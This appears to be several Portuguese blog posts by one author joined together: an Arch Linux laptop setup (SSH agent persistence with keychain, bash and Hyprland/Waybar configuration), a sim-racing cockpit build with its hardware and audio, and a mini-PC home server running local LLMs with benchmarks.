Se você usa SSH sério, quer digitar a passphrase uma vez por boot e ter ssh, git push, scp mudos pelo resto do dia. No Arch atual isso tem uma pegadinha: o gnome-keyring 50 deixou de oferecer componente SSH, e o substituto (gcr-ssh-agent) é um agente plain em memória, sem persistência de passphrase. A caixa “lembrar esta chave” que você viu em guias antigos simplesmente não existe mais.

A combinação que funciona tem três peças:

1. gcr-ssh-agent.socket gerenciado pelo systemd serve o SSH_AUTH_SOCK em $XDG_RUNTIME_DIR/gcr/ssh
2. pam_gnome_keyring no login SDDM destrava o keyring com a senha de login (usado por apps GUI tipo Brave, não pelo SSH)
3. keychain (wrapper) mantém um ssh-agent vivo entre logouts, sobrescreve o SSH_AUTH_SOCK pra apontar pra esse agent persistente, e cacheia o PID em ~/.keychain/<host>-sh

Primeiro, instalo o keyring:

sudo pacman -S --needed gnome-keyring seahorse keychain

Depois, edito /etc/pam.d/sddm pra o login password destravar o keyring automaticamente. Adiciono no topo:

-auth      optional    pam_gnome_keyring.so

E no final:

-session   optional    pam_gnome_keyring.so    auto_start

O hífen na frente (-auth, -session) marca como opcional, se o módulo não carregar, não quebra login.

Pino o SSH_AUTH_SOCK pra sessões gráficas e TTY via ~/.config/environment.d/ssh-agent.conf:

SSH_AUTH_SOCK=%t/gcr/ssh

O %t resolve pra $XDG_RUNTIME_DIR, tipo /run/user/1026. Habilito o socket do gcr e o linger do usuário (pra user daemons sobreviverem ao logout):

systemctl --user enable --now gcr-ssh-agent.socket
sudo loginctl enable-linger $USER

Por fim, no ~/.config/bash/init.sh o keychain inicia ou reusa o agent:

if command -v keychain &>/dev/null && [[ -r ~/.ssh/id_ed25519 ]]; then
  eval "$(keychain --eval --quiet ~/.ssh/id_ed25519)"
fi

--eval emite atribuições shell (SSH_AUTH_SOCK, SSH_AGENT_PID) apontando pro agent do keychain, que passa por cima do gcr setado pelo environment.d. --quiet cala o banner depois que a chave está carregada.

Fluxo na prática: boot → primeiro terminal → keychain pede passphrase uma vez → chave fica carregada. Logout → login de novo → novos shells re-atacham no mesmo agent (via ~/.keychain/<host>-sh) → zero prompt. ssh-add -l confirma que a chave está lá, echo $SSH_AUTH_SOCK confirma que está no caminho do keychain.

Quando você vai digitar a passphrase de novo: reboot, ssh-add -D, ou keychain --clear. Em uso normal, uma vez por dia.

Bash em vez de ZSH

No desktop uso ZSH. No notebook fui de Bash pra alinhar com o default do Omarchy, sem dupla de camadas modulares pra manter. ~/.bashrc é um symlink pra ~/.config/bash/bashrc, que faz source dos defaults do Omarchy primeiro e depois empilha as minhas customizações:

source ~/.local/share/omarchy/default/bash/rc
source ~/.config/bash/envs.sh
source ~/.config/bash/aliases.sh
source ~/.config/bash/mounts.sh
source ~/.config/bash/init.sh
source ~/.config/bash/secrets    # gitignored, chmod 600

envs.sh tem o que é meu: OpenRouter base URL, Ollama apontando pro GPU box da rede local (192.168.0.14), AWS region, analytics do Hugo, configs de zoxide e SSH agent. aliases.sh tem os atalhos de TLP, um alias pra shell-gpt via Docker, e functions pra hardenar o PATH quando rodo makepkg ou yay (prevenir injeção de binário via user config malicioso).

init.sh faz o trabalho de integração. Atuin com bind manual do Ctrl-R (pra deixar a seta pra cima com o history-search padrão do bash, que eu uso mais). Keychain carregando ~/.ssh/id_ed25519 uma vez por boot e reusando nos shells seguintes (sem ter que re-autenticar SSH toda hora). Blesh se estiver instalado (autosuggestion estilo ZSH pra Bash). E uma função que manda o PROMPT_COMMAND ajustar o título da janela com o pwd atual e o comando em execução:

__title_idle() { printf '\033]2;%s\007' "${PWD/#$HOME/~}"; }
__title_busy() {
  local cmd="${BASH_COMMAND}"
  [[ "$cmd" == "__title_"* || "$cmd" == *"PROMPT_COMMAND"* ]] && return
  printf '\033]2;%s — %s\007' "${PWD/#$HOME/~}" "$cmd"
}
if [[ -n "${PROMPT_COMMAND-}" ]]; then
  PROMPT_COMMAND="__title_idle; ${PROMPT_COMMAND}"
else
  PROMPT_COMMAND="__title_idle"
fi
trap '__title_busy' DEBUG

No idle, título mostra só o pwd. Com um comando rodando, trap DEBUG pega o BASH_COMMAND em execução e atualiza o título. Integra com o hyprland/window do waybar pra mostrar tudo lá.

Pro toolbelt Rust moderno, a lista:

sudo pacman -S --needed \
  eza bat fd ripgrep sd git-delta dust procs bottom duf tokei hyperfine \
  zoxide atuin tldr starship

eza substitui ls. bat substitui cat com syntax highlight. fd substitui find. ripgrep substitui grep. sd substitui sed. delta pluga no git pra diff side-by-side colorido. dust pro du visual. procs pro ps. btm (bottom) pro top. duf pro df. tokei conta linhas de código. hyperfine pra benchmark de comando. zoxide é cd com memória (muito útil). atuin é history do shell com sync criptografado (aponto pro meu home server via sync_address = "http://192.168.0.90:8888"). starship é o prompt. tldr é man page em 10 linhas.

O atuin key tem que ser backupeado offline. Se você perde, perde o histórico criptografado. Salvei no meu Bitwarden self-hosted (Vaultwarden), que eu documentei no artigo sobre Bitwarden self-hosted.

O git passa diff pelo delta:

[core]        pager = delta
[interactive] diffFilter = delta --color-only
[delta]       navigate side-by-side line-numbers hyperlinks, light=false
[merge]       conflictstyle = zdiff3

Hyprland e Waybar

Customizações visuais e de UX que fiz em cima do default.

No hypr/looknfeel.conf, gaps menores (2/5 vs 5/10 do default), animação de slide entre workspaces, VFR ligado (reduz consumo quando a tela está estática), allow_session_lock_restore (se o hyprlock crasha, volta pra tela de lock em vez de jogar pro desktop).

No hypr/bindings.conf:

No Waybar, três módulos custom que recomendo:

Título de janela: o módulo hyprland/window mostra o que tá focado. No bash, o PROMPT_COMMAND atualiza o título pra algo como “~/Projects/blog — hugo server”. Então no waybar aparece o diretório e o comando em execução, sem eu precisar olhar pro terminal.

"hyprland/window": {
    "format": "{title}",
    "max-length": 50,
    "rewrite": { "(.{47}).+": "$1…" }
}

Perf mode: o custom/perf executa um script que lê o estado do TLP e mostra um ícone:

"custom/perf": {
    "exec": "~/.config/scripts/perf-waybar.sh",
    "interval": 3,
    "format": "{}",
    "on-click": "~/.config/scripts/perf-toggle.sh"
}

Vazio em balanced, 󰓅 PERF em performance, 󰌪 ECO em low-power. Clique alterna. Útil pra ver rapidamente em que modo a máquina está.

Claudebar: integrei o claudebar num módulo custom que mostra a % de uso da sessão do Claude Code e o gasto extra inline no waybar. Sem ter que abrir outra janela.

O clock:

"clock": {
    "format": "{:L%A %d %B - %H:%M}",
    "format-alt": "{:L%A W%V %Y - %H:%M}"
}

Exibe “quinta 17 abril - 14:32” por padrão, clique alterna pra “quinta W16 2026 - 14:32” com número da semana do ano, útil pra planejar artigos e tarefas.

Atuin self-hosted

Atuin roda no meu home server em 192.168.0.90:8888. Criei uma conta separada pro notebook (akitaonrails-thinkpad), não misturo histórico com desktop de propósito. atuin sync roda a cada 5 minutos e todo histórico é criptografado antes de ir pro server. O server não vê os comandos, só vê bytes criptografados.

Conclusão: escolhendo notebook pra Linux

Se tem uma coisa que eu aprendi nessa jornada: escolher notebook pra rodar Linux confortavelmente não é trivial. Precisa checar a ArchWiki pelo modelo específico antes de comprar. A do T14s Gen 6 AMD, por exemplo, cataloga cada peculiaridade de hardware e como contornar. Sem essa referência, você descobre os problemas instalando.

Regra que sigo: nunca comprar modelo recém-lançado. Deixar passar uns 6 a 12 meses depois do lançamento. Isso dá tempo pra comunidade iron out os bugs, pros drivers entrarem no mainline, pra ArchWiki ter uma página decente, pra libfprint incluir o sensor de digital, pro kernel cobrir o WiFi e a câmera IR. Comprar de primeira é assumir o papel de tester beta.

Marcas com trilha Linux decente: Lenovo (especialmente Thinkpad, eles oferecem Ubuntu e Fedora pré-instalados), Dell (a linha XPS e Latitude), Asus (Zenbook e ROG têm suporte razoável), Framework (fábrica direto pra Linux). Mac qualquer geração recente é cortado do Linux mainline ou via Asahi com caveats.

O Thinkpad T14 Gen 6 não é o notebook mais bonito que eu podia ter comprado. Mas é rugged, tem as portas certas, o sensor de digital funciona, e a carcaça plástica aceita cair, arranhar, viajar na mala sem eu ficar nervoso. Pra servir de companion de debug remoto, é o que eu precisava. Se esse é o seu perfil de uso também, recomendo. Se você quer OLED e metal, vai de Zenbook ou de T14s. Cada premium tem seu compromisso, nenhum notebook Linux em 2026 é perfeito.

Tudo que descrevi aqui ficou versionado num repo privado meu. Se eu precisar reinstalar amanhã, rodo meia dúzia de passos em ordem e volto ao mesmo lugar. Esse é o ponto todo de manter configuração em Git: notebook é commodity, config é minha.

Mas o jogo que realmente me viciou no gênero simcade foi o Gran Turismo original, em 1997, no PlayStation 1. “The Real Driving Simulator” na capa. Eu joguei aquele jogo obsessivamente. Na mesma época eu assistia o anime Initial D, que estreou em 1998 no Japão. Comprei todos os mangás e li tudo do começo ao fim. A história do Takumi Fujiwara descendo o Monte Akina de madrugada entregando tofu no AE86 do pai dele é, pra mim, uma das melhores histórias de automobilismo já contadas em qualquer mídia.

Até hoje eu acompanho o trabalho do Shuichi Shigeno. Depois de Initial D veio MF Ghost (2017-2025), que se passa no mesmo universo mas num futuro próximo onde carros a combustão viraram peça de museu. E agora, desde julho de 2025, estou lendo Subaru and Subaru, a continuação direta que une os universos de Initial D e MF Ghost com duas protagonistas chamadas Subaru — uma de Gunma, outra de Kanagawa — competindo numa nova série de corridas. É o Shigeno no melhor dele.

Dois anos atrás eu viajei pro Japão com minha namorada e fiz questão de ir na Daikoku PA, o famoso parking area na Shuto Expressway em Yokohama onde a cultura JDM se concentra. Como fã antigo de Tokyo Xtreme Racer, da Genki, eu precisava ver Daikoku com meus próprios olhos pelo menos uma vez. E não decepcionou. Em vez de alugar carro, a gente fechou um tour com um guia local no Nissan GT-R preparado dele. Melhor assim. No caminho ele foi explicando a história da Wangan, como a cena funciona, o que é exagero de YouTube e o que é real. Quando chegamos numa sexta à noite e eu vi aquilo tudo ao vivo — Skyline R34, RX-7, Supra, GT-R, kei trucks tunados, bosozoku insanos — a sensação foi estranha no melhor sentido. Parecia Tokyo Xtreme Racer, só que com cheiro de combustível no ar e barulho de escapamento de verdade.

E tem outro detalhe: eu estou jogando o reboot novo de Tokyo Xtreme Racer no PC, e é exatamente o tipo de jogo que entende o próprio público. Campanha single-player forte, progressão viciante, clima certo, e sem aquelas palhaçadas de loot box. Recomendo fácil. Pelo mesmo motivo, eu também estou esperando muito o Forza Horizon 6, que dessa vez vai se passar no Japão. Eu já fiz a pré-compra e estou louco pra jogar isso no cockpit novo.

Dirigindo de verdade

Agora que estou semi-aposentado, tive a oportunidade de levar meu Mercedes em track days. Já andei no Autódromo de Interlagos (o Autódromo José Carlos Pace), circuito de 4.309 km em São Paulo que sedia o GP de F1 do Brasil desde 1973, famoso pelas curvas do S do Senna e pelo desnível maluco do circuito. Também andei no Autódromo Velocitta, um circuito moderno de 3.443 km inaugurado em 2014 em Mogi Guaçu, interior de São Paulo, que recebe a Stock Car Brasil e a Porsche Cup.

Em Las Vegas eu já dirigi super carros naquelas experiências de pista. E quando viajei com minha namorada pra Gramado, no RS, fomos na Super Carros, que fica na Av. das Hortênsias 4635. Eles têm um galpão de 2.400 m² com mais de 50 carros — Ferraris, Lamborghinis, Porsches, GT-Rs, Corvettes, muscle cars americanos. Você escolhe o carro, sai com um instrutor, e dirige um percurso de uns 17 km entre Gramado e Canela. Eu peguei um Nissan GT-R e uma Ferrari California.

Três anos atrás eu também fui pra Abu Dhabi com minha namorada e fomos no Ferrari World, que tem alguns dos melhores simuladores de corrida que eu já experimentei. Plataforma hidráulica com 6 graus de liberdade, cockpit de F1, a coisa toda. Eu sempre adorei testar simuladores onde quer que eu vá.

Mas dirigir carros de verdade em pistas de verdade é um hobby muito caro. Pneus, combustível, seguro, manutenção, inscrição. E o mais importante: eu sou introvertido. Prefiro estar sozinho. Meu cockpit de simulador é perfeito pra quando eu quero dirigir sem ter que lidar com ninguém. É por isso que eu gosto tanto de rally — sou eu, o co-driver virtual, e a estrada. Nada mais.

Os jogos que eu jogo

Sei que a maioria das pessoas que montam um cockpit como esse fazem pra jogar simuladores sérios — iRacing, Assetto Corsa Competizione, Automobilista 2. Eu respeito, mas não é minha praia. Não gosto de jogar online com outras pessoas. Não tenho nenhuma intenção de começar uma carreira de live streaming. Isso é puramente pro meu divertimento.

Atualmente eu jogo Gran Turismo 7 no PS5, Forza Motorsport (o 8, de 2023) no PC, mas onde eu me divirto mais é nos jogos de rally: EA SPORTS WRC, WRC 10 e DiRT Rally 2.0. Minha primeira experiência com Forza foi no Xbox One com o Forza Motorsport 5 e depois Forza Horizon 4, que me prendeu por centenas de horas.

E eu tenho um carinho enorme por jogos retro. O Colin McRae Rally original de 1998 no PS1 foi meu primeiro jogo de rally. Mas o meu favorito de todos os tempos é o Colin McRae Rally 2.0 (2000), também no PS1. Recentemente eu completei a campanha inteira de novo na versão de PC — dá pra achar repacks que rodam em alta resolução e widescreen, muito melhor que as versões originais de PlayStation. Recomendo pra qualquer um dos títulos da série.

Depois vieram Colin McRae 3 (2002), Colin McRae Rally 04 (2003) e Colin McRae 2005 (2004). Outros arcades que eu revisito com frequência: OutRun 2 SP (2004) e OutRun 2006: Coast 2 Coast (2006) — o melhor OutRun já feito, na minha opinião.

Mas meu jogo do ano, disparado, é o Super Woden: Rally Edge. Um indie feito por um desenvolvedor solo (ViJuDa, da Espanha) que lançou em janeiro de 2026 por menos de R$ 60. Oito países, mais de 80 carros, modo carreira, multiplayer local split-screen pra até 4 jogadores, leaderboards online. A câmera atrás do carro em vez do top-down dos Super Woden GP anteriores fez toda a diferença. 96% de reviews positivos no Steam com mais de 1.300 avaliações. É o tipo de jogo que mostra que você não precisa de orçamento milionário pra fazer algo incrível.

A evolução do meu setup de volante

Era Logitech G29 (~2015-2021)

Eu sempre quis um volante de corrida. Comecei há mais de 15 anos com algo equivalente ao volante de entrada da Logitech, um G29. O G29 é um bom volante pra começar — force feedback por engrenagens, pedais com embreagem, 900 graus de rotação. Mas o force feedback dele é barulhento e meio grosseiro. Você sente as engrenagens girando.

Era Thrustmaster T300RS + Suporte SXT V2 (~2021-2024)

Por volta de 2021 eu fiz o upgrade pro Thrustmaster T300RS, um volante por correia que é um salto enorme em relação ao Logitech. O force feedback é muito mais suave e preciso. E comprei o suporte Extreme Sim Racing SXT V2, que é bem mais robusto que aqueles suportes de mesa genéricos.

Primeiro eu montei o setup na frente do meu PC desktop, que na época tinha uma RTX 3090. Funcionava bem, mas era muito trabalhoso ficar montando e desmontando o suporte e os cabos toda vez que eu queria jogar.

Depois eu fiz um setup com cabo HDMI de fibra óptica longo pra conectar minha TV de 60" ao PC nos fundos da sala. Movi o suporte pra frente do sofá. Menos trabalhoso, mas eu ainda tinha que desmontar quando queria assistir filme com minha namorada.

Por volta de 2024 ou 2025 eu troquei meu sofá por um daqueles sofás VIP de cinema da Star Seat, que reclina e tudo. Problema: era muito mais alto que o sofá anterior. Tive que fazer todo tipo de gambiarra pra fazer o suporte funcionar naquela altura. Cheguei a imprimir suportes em 3D e mandar pra PCBWay usinar placas de aço pra prender rodas grandes embaixo do suporte e ganhar uns centímetros de altura. Mas isso deixou o setup muito instável pra dirigir confortavelmente.

Era Fanatec CSL DD + Direct Drive (~2024-2025)

Nesse meio tempo eu dei o T300 pro meu irmão e fiz o upgrade pra um Fanatec CSL DD Gran Turismo Edition. O motor direct drive do CSL DD entrega 5 Nm de torque na base, mas o kit Gran Turismo DD Pro já vem com o Boost Kit 180 que sobe pra 8 Nm sustentados sem cooling ativo. Direct drive significa que não tem engrenagem nem correia entre o motor e o volante — o eixo do motor É o eixo do volante. A diferença é absurda. O T300 já era ótimo, muito superior ao Logitech. Mas o Fanatec está em outro patamar. Você sente cada textura do asfalto, cada lombada, cada derrapagem incipiente. Não tem como voltar atrás depois que experimenta.

Comprei junto o kit de pedais CSL com Load Cell, que mede pressão no freio em vez de deslocamento. Faz toda a diferença na frenagem — você aprende a dosar pela força do pé, não pela distância que o pedal percorre. Muito mais natural.

Eu também quis experimentar o câmbio manual H-pattern com o ClubSport Shifter SQ V1.5 da Fanatec e o freio de mão separado. É legal pra experimentar carros antigos com embreagem e câmbio H, mas na prática eu não me adaptei. O suporte SXT V2 já balançava bastante com o direct drive, e usar o shifter naquele setup instável era frustrante. E eu sei que tem gente que quer fazer “ponta e calcanhar” (heel-toe), mas no simulador eu prefiro ter o pé esquerdo no freio e o direito no acelerador e dosar os dois ao mesmo tempo. Funciona melhor pra mim. Agora que eu tenho o volante McLaren com os paddles analógicos de freio de mão e embreagem direto no volante, o câmbio H e o handbrake externo ficaram aposentados. Pra rally, o handbrake analógico no volante é muito mais natural.

Também comprei o PS5 com Gran Turismo 7 nessa época. Coloquei as dbrand Darkplates matte black pra trocar as placas brancas originais — fica muito mais bonito e discreto.

Mas o setup ainda era o suporte SXT V2 na frente do sofá VIP. A mesma gambiarra. O mesmo balanço. Eu não ia desistir do sofá de cinema, claro. A situação ficou insustentável.

O computador e o setup de hardware

Uma nota sobre meu hardware de gaming. Eu comprei um Minisforum UX790 Pro pra ser minha máquina dedicada de Steam. É um mini-PC com processador Intel Core Ultra 9 285H, que cabe na palma da mão. Junto comprei o Minisforum DEG1, um dock de GPU externo que conecta via OCuLink (PCIe 4.0 x4, 64 GT/s). É um design aberto — basicamente uma placa com slot PCIe x16 e espaço pra fonte ATX ou SFX. Não tem limitação de tamanho de placa, então cabe uma RTX 4090 tranquilamente. A perda de performance comparado a um slot PCIe nativo é mínima. Coloquei a RTX 4090 nele. A 4090 veio do meu desktop — no começo de 2025 eu viajei pra Miami e aproveitei pra comprar uma RTX 5090 porque estava usando cada vez mais IA e LLMs locais. Dei a 3090 antiga pra minha namorada usar na edição de vídeo. A 4090 foi pro mini-PC.

Então meu setup de gaming hoje é: Minisforum UX790 Pro + eGPU com RTX 4090 pra Steam e jogos de PC, e PlayStation 5 com Darkplates matte black pra Gran Turismo 7 e exclusivos.

O cockpit: Formula FX1

Pra completar o setup eu também precisava de um monitor decente. Eu já estava acostumado com minha TV OLED Samsung de 80" na sala e não queria dar um downgrade na qualidade de imagem. Então investi no Samsung Odyssey OLED G8 de 32". É um monitor 4K (3840x2160) OLED com 240 Hz de refresh rate, 0.03 ms de tempo de resposta (GTG), HDR True Black 400, HDR10+, 99% de cobertura DCI-P3, contraste de 1.000.000:1, e FreeSync Premium Pro. Tem 2 entradas HDMI 2.1 e 1 DisplayPort 1.4.

Na prática: as cores explodem, preto é preto de verdade (é OLED, não tem backlight), e com a RTX 4090 eu rodo a maioria dos jogos em 4K a 120 fps tranquilo. Em títulos mais leves como o Super Woden: Rally Edge, chega fácil nos 240 Hz. A fluidez é absurda. Pra um cockpit onde você está a uns 60-70 cm da tela, 32" OLED em 4K é o sweet spot. Maior que isso e você começaria a enxergar pixels. Menor e perde a imersão.

Em janeiro de 2026, depois de anos de gambiarra, eu finalmente encomendei um cockpit dedicado. Pesquisei bastante. Considerei o Cockpit AX160, que é de perfil de alumínio e muito modular, e o Cockpit 4.0, que é de aço tubular mais tradicional. Mas nenhum dos dois estava disponível no momento da compra. E aí eu encontrei o Formula FX1 preto e verde da Extreme Racing — cores Petronas, estilo F1.

O FX1 é muito diferente dos cockpits tradicionais. A estrutura inteira é de tubos de aço grossos, soldados. Quando eu digo que a coisa não balança, eu quero dizer que não balança nada. Zero wobble. É uma diferença brutal em relação ao suporte na frente do sofá. A posição de pilotagem é reclinada, tipo F1 — seus pés ficam na mesma altura ou mais altos que seu quadril. Parece que vai ser desconfortável, mas não é. Dá pra ficar horas ali sem reclamar. Vem com banco acolchoado e ajustável, suporte pra monitor com articulação, suporte pra pedais com inclinação ajustável, e suporte pra volante com altura regulável.

Tive que esperar cerca de 1 mês pela entrega. No meio tempo, como quem acompanha meu blog sabe, eu mergulhei numa maratona de 16 horas por dia testando os novos agentes de IA da Anthropic e OpenAI — veja as tags #vibecoding e #agents pra ver tudo que eu fiz. Depois de uns 30 dias nessa maratona insana, minha lombar cedeu e eu comecei a desenvolver o que parece ser hérnia de disco. Tive que ir ao médico e tomar anti-inflamatórios pesados.

E exatamente nessa semana, o cockpit decidiu chegar.

A montagem

Eu estava com dor absurda, mas montei o cockpit assim mesmo. Levou o dia inteiro pra desembalar e montar as peças de aço pesadas com a lombar gritando, mas eu fiz.

O vídeo de montagem oficial que eu segui:

O volante McLaren GT3 V2

Depois de montar o cockpit, eu decidi que o volante padrão que vem com o kit CSL GT não era suficiente. Fiz o upgrade pro Fanatec CSL Elite McLaren GT3 V2 (~R$ 4.990). É uma réplica em escala real do volante do McLaren GT3, com fibra de carbono, display OLED, e compatível com PC, Xbox, PS4 e PS5.

O que eu mais gosto nele: tem as borboletas de câmbio normais atrás (shift up/down), mas também tem dois paddles analógicos adicionais que podem ser configurados em quatro modos diferentes. No modo B, que é o que eu uso, o paddle esquerdo funciona como handbrake analógico e o direito como embreagem analógica. Isso é perfeito pra rally — eu consigo puxar o freio de mão no meio da curva sem tirar a mão do volante. Tem também dois toggles de 2 posições, dois rotary de 12 posições, 7 botões padrão com caps intercambiáveis, e o FunkySwitch de 7 direções da Fanatec. É um controle completo de corrida.

O setup final

O cockpit ficou num cantinho do meu quarto, entre as estantes de mangá (dá pra ver Akira, Initial D, e uns 500 outros volumes atrás). Montei o mini-PC e o PS5 na estrutura lateral do cockpit, junto com a eGPU e a RTX 4090. Tudo fica permanentemente conectado. É isso que faz a diferença: eu não preciso mais montar nem desmontar nada. Sento, ligo, e estou dirigindo em 30 segundos.

O sistema de áudio

Pra completar o setup eu precisava de áudio dedicado. Eu não queria usar o áudio do monitor (péssimo) nem ficar sempre de headset. A solução foi montar um sistema de áudio separado com extração de áudio do HDMI.

A peça central é um switcher HDMI 2.1 da OREI com extração de áudio. Ele tem 2 entradas e 1 saída HDMI, suporta 4K a 120Hz (48 Gbps de bandwidth), e extrai o áudio via saída óptica TOSLINK e P2 3.5mm. Eu conecto a saída HDMI da RTX 4090 numa entrada e o PS5 na outra. O vídeo vai pro monitor. O áudio sai pela óptica.

O áudio óptico vai pra um amplificador Aiyima D03, um amp compacto 2.1 canais com 150W por canal, DAC integrado (chip PCM1808), e Bluetooth 5.0 com aptX HD. Ele tem entrada óptica, coaxial, USB, RCA e Bluetooth. Tem até saída dedicada pra subwoofer quando eu resolver adicionar um. Usa chip amplificador TAS5624 da Texas Instruments e tem controle de graves e agudos pelo controle remoto. Pra um setup de cockpit onde você está a 1 metro das caixas, 150W é mais que suficiente.

Na prática, eu deixo o amplificador em 50% e o volume do Windows em 50%, e isso já fica alto pra caramba. Ou seja: não é um sisteminha “quebra-galho”. Está equipado pra tocar realmente alto se eu quiser.

As caixas são Edifier P12, passivas, com woofer de 4 polegadas e tweeter de 19mm. Resposta de frequência de 55Hz a 20kHz, impedância de 6 ohms, potência de 20W RMS cada. O gabinete de MDF com acabamento em madeira tem um porte-reflex traseiro que ajuda nos graves. Pra caixas passivas desse tamanho, elas entregam bem. O mid-range sai limpo e os agudos não distorcem mesmo no volume alto.

A lógica do setup é: HDMI switcher faz o chaveamento entre PS5 e PC, extrai o áudio pra óptica, o amp converte e amplifica, e as caixas passivas entregam o som. Tudo sem precisar tocar no monitor ou trocar cabos. Aperto um botão no switcher e troco de console.

Quando eu quero jogar sem incomodar ninguém, conecto meu Meze 109 Pro direto na saída P2 do switcher HDMI. O Meze 109 Pro é um headphone aberto com drivers dinâmicos de 50mm, impedância de 40 ohms, sensibilidade de 112 dB SPL/1mW, e resposta de 5Hz a 30kHz. Os ear cups são de madeira de nogueira com acabamento artesanal. É um headphone audiófilo que funciona perfeitamente sem amplificador dedicado graças à impedância baixa. O som é quente, com graves cheios e mids ricos. Dá pra ouvir cada detalhe do ronco dos motores.

Ainda não decidi sobre subwoofer, mas vai ser meu próximo upgrade. Um sub dedicado vai adicionar aquele peso nos graves que faz você sentir o motor no peito.

O veredito

O sofa com suporte funciona. A mesa do PC com suporte funciona. Mas nenhum dos dois chega perto de um cockpit dedicado. A estrutura de aço do FX1 não mexe nem um milímetro, mesmo com o direct drive do Fanatec dando torque máximo. A posição F1 reclinada é confortável pra sessões de horas. Os pedais com load cell ficam firmes na base. O monitor fica exatamente na altura e distância certas. E o melhor de tudo: está sempre pronto. Eu não preciso montar, desmontar, passar cabo, nada. Sento e dirijo.

Pra quem está na dúvida se vale a pena investir num cockpit dedicado vs. ficar com suporte na mesa ou no sofá: vale. Se você já tem um volante direct drive, o cockpit é a peça que falta. Eu passei anos achando que “tá bom assim” com o suporte no sofá. Não tava. A diferença na dirigibilidade é outra coisa. E pro meu caso — introvertido, single-player only, simcade — não podia ter montado antes. Pra falar a verdade, eu acho que finalmente cheguei no meu setup de simulador perfeito pro meu gosto.

Lista de compras: quanto custou tudo

Aqui está a lista consolidada de tudo que compõe meu setup atual, com preços aproximados (alguns comprei em dólar, converti pra real na cotação da época):

Sim, quase R$ 57 mil é bastante dinheiro. Eu trabalhei feito um condenado por décadas. Agora que consegui me aposentar honestamente, minha família está bem amparada, não tenho dívidas, e eu posso finalmente me dar algo que eu sempre quis quando era moleque mas não tinha como bancar. Quando eu sentava naqueles cabinets de OutRun e Daytona USA no fliperama, eu sonhava em ter algo assim em casa. Levou 30 e poucos anos, mas cheguei lá.

E se você somar os anos de gambiarras, suportes que não funcionavam, cabos HDMI de 15 metros, impressões 3D, placas de aço usinadas, e a frustração de montar e desmontar tudo — o cockpit dedicado economiza sanidade. Diferente de um PC que deprecia rápido, um cockpit de aço dura décadas.

Eu comprei um Minisforum MS-S1 Max com o novo chip AMD Ryzen AI Max+ 395 por um motivo específico: esse chip suporta até 128GB de RAM unificada, e eu posso alocar 96GB como VRAM pro iGPU. Isso me dá mais VRAM do que qualquer placa gamer comercial, incluindo a RTX 5090 (32GB). E isso muda o que eu consigo rodar localmente.

Por que trocar o Intel NUC

O NUC serviu bem como servidor Docker por dois anos. Mas a limitação era clara: sem GPU com VRAM suficiente, eu não conseguia rodar LLMs localmente de forma usável. O Frank Yomik, meu sistema de tradução automática de mangás, precisava de OCR via CPU (lento) e conectava remotamente no Ollama do meu desktop (AMD 7950X3D + RTX 5090) pra tradução. Funcionava, mas significava que meu desktop precisava estar ligado pro servidor funcionar.

Com o Minisforum, o Frank Yomik roda inteiramente no servidor. O worker agora usa ROCm pra OCR com a iGPU, e o Ollama roda local com 96GB de VRAM. Zero dependência do desktop.

Na foto dá pra ter uma ideia do tamanho. O NUC é aquele cubinho pequeno na esquerda. O Minisforum é maior, mas ainda é um mini-PC. Cabe na prateleira do rack embaixo do Synology NAS sem problema.

As specs

O chip é o AMD Ryzen AI Max+ 395: 16 cores / 32 threads Zen 5, com iGPU Radeon 8060S integrada e 128GB de LPDDR5X unificada. No BIOS, eu configurei UMA Frame Buffer Size pra 96GB, o que deixa ~30GB de RAM pro sistema operacional e containers. Mais os parâmetros de kernel pra TTM (sem eles, o ROCm só enxerga 15.5GB mesmo com a alocação do BIOS).

O sistema operacional é openSUSE MicroOS (mais sobre isso no próximo post). O consumo de energia da máquina inteira fica abaixo de 100W, o que é absurdo pra quem está acostumado com GPUs dedicadas que puxam 450W+ sozinhas.

Minisforum vs meu desktop: benchmarks

Eu rodei um conjunto de benchmarks comparando o Minisforum com meu desktop (AMD 7950X3D, 96GB DDR5, RTX 5090 32GB GDDR7). Os resultados são claros.

CPU

Resultados mistos. O AI Max+ 395 é melhor em paralelismo puro (sieve multi-core), provavelmente por conta da latência menor na arquitetura de memória unificada. O 7950X3D ganha em float e crypto por causa dos clocks mais altos e do 3D V-Cache.

Inferência de LLMs (modelos que cabem nos dois)

Aqui é onde a coisa fica interessante. Pra modelos que cabem nos 32GB da RTX 5090, a comparação é puramente de bandwidth de memória:

A RTX 5090 é ~7x mais rápida. A explicação é simples: GDDR7 tem ~1.792 GB/s de bandwidth. LPDDR5X tem ~256 GB/s. A razão (7x) bate quase exatamente com a diferença de velocidade medida (6.7x). Inferência de LLM é um problema dominado por bandwidth de memória. Quem lê pesos mais rápido, gera tokens mais rápido.

E o prompt processing?

Prompt processing é ainda pior: 7-11x mais lento. Faz sentido, porque o prompt precisa ser processado inteiro antes de gerar o primeiro token, e é uma operação ainda mais bandwidth-intensiva.

Onde o Strix Halo ganha: modelos grandes

Agora vem a razão pela qual eu comprei esse PC. Modelos que não cabem na RTX 5090:

O qwen3.5:122b com 81GB de pesos rodando a 19 tok/s. Num mini-PC. Isso simplesmente não é possível numa RTX 5090. Na placa da NVIDIA, esse modelo teria que fazer offload de camadas pra RAM do sistema, caindo pra 2-3 tok/s. Na prática, inutilizável.

A diferença entre modelos MoE e densos é brutal. O qwen3.5:35b roda a 43 tok/s porque, apesar de ter 35B de parâmetros totais, só ~4B ficam ativos por token. Um modelo denso de 72B como o qwen2.5:72b precisa ler 40GB+ de pesos por token, e a 256 GB/s de bandwidth, o máximo teórico é ~6.7 tok/s. Os 4.5 medidos representam ~67% de eficiência, que é o esperado pra iGPU (overhead de bus compartilhado e drivers).

Resumo: quando usar cada máquina

Um bug de ROCm que ainda existe

Nem tudo funciona. Modelos como deepseek-r1:70b, llama3.3:70b e llama4:scout crasham com um bug no ggml (GGML_ASSERT(ggml_nbytes(src0) <= INT_MAX) failed). O tensor de embedding desses modelos excede 2GB e o kernel de cópia do ROCm usa inteiro de 32 bits pro tamanho. No CUDA (NVIDIA) já foi corrigido, mas no ROCm ainda não. Esperando o fix no Ollama 0.20.0+.

LPDDR5X vs GDDR7: por que essa diferença

A pergunta que vem é: por que a LPDDR5X é tão mais lenta?

GDDR7 é memória dedicada de GPU. Ela fica soldada na placa de vídeo, conectada por um barramento largo (384 ou 512 bits na RTX 5090) com clocks altos. O único trabalho dela é alimentar a GPU com dados. LPDDR5X é memória unificada que serve pra tudo: sistema operacional, aplicações, e GPU ao mesmo tempo. O barramento é mais estreito e compartilhado.

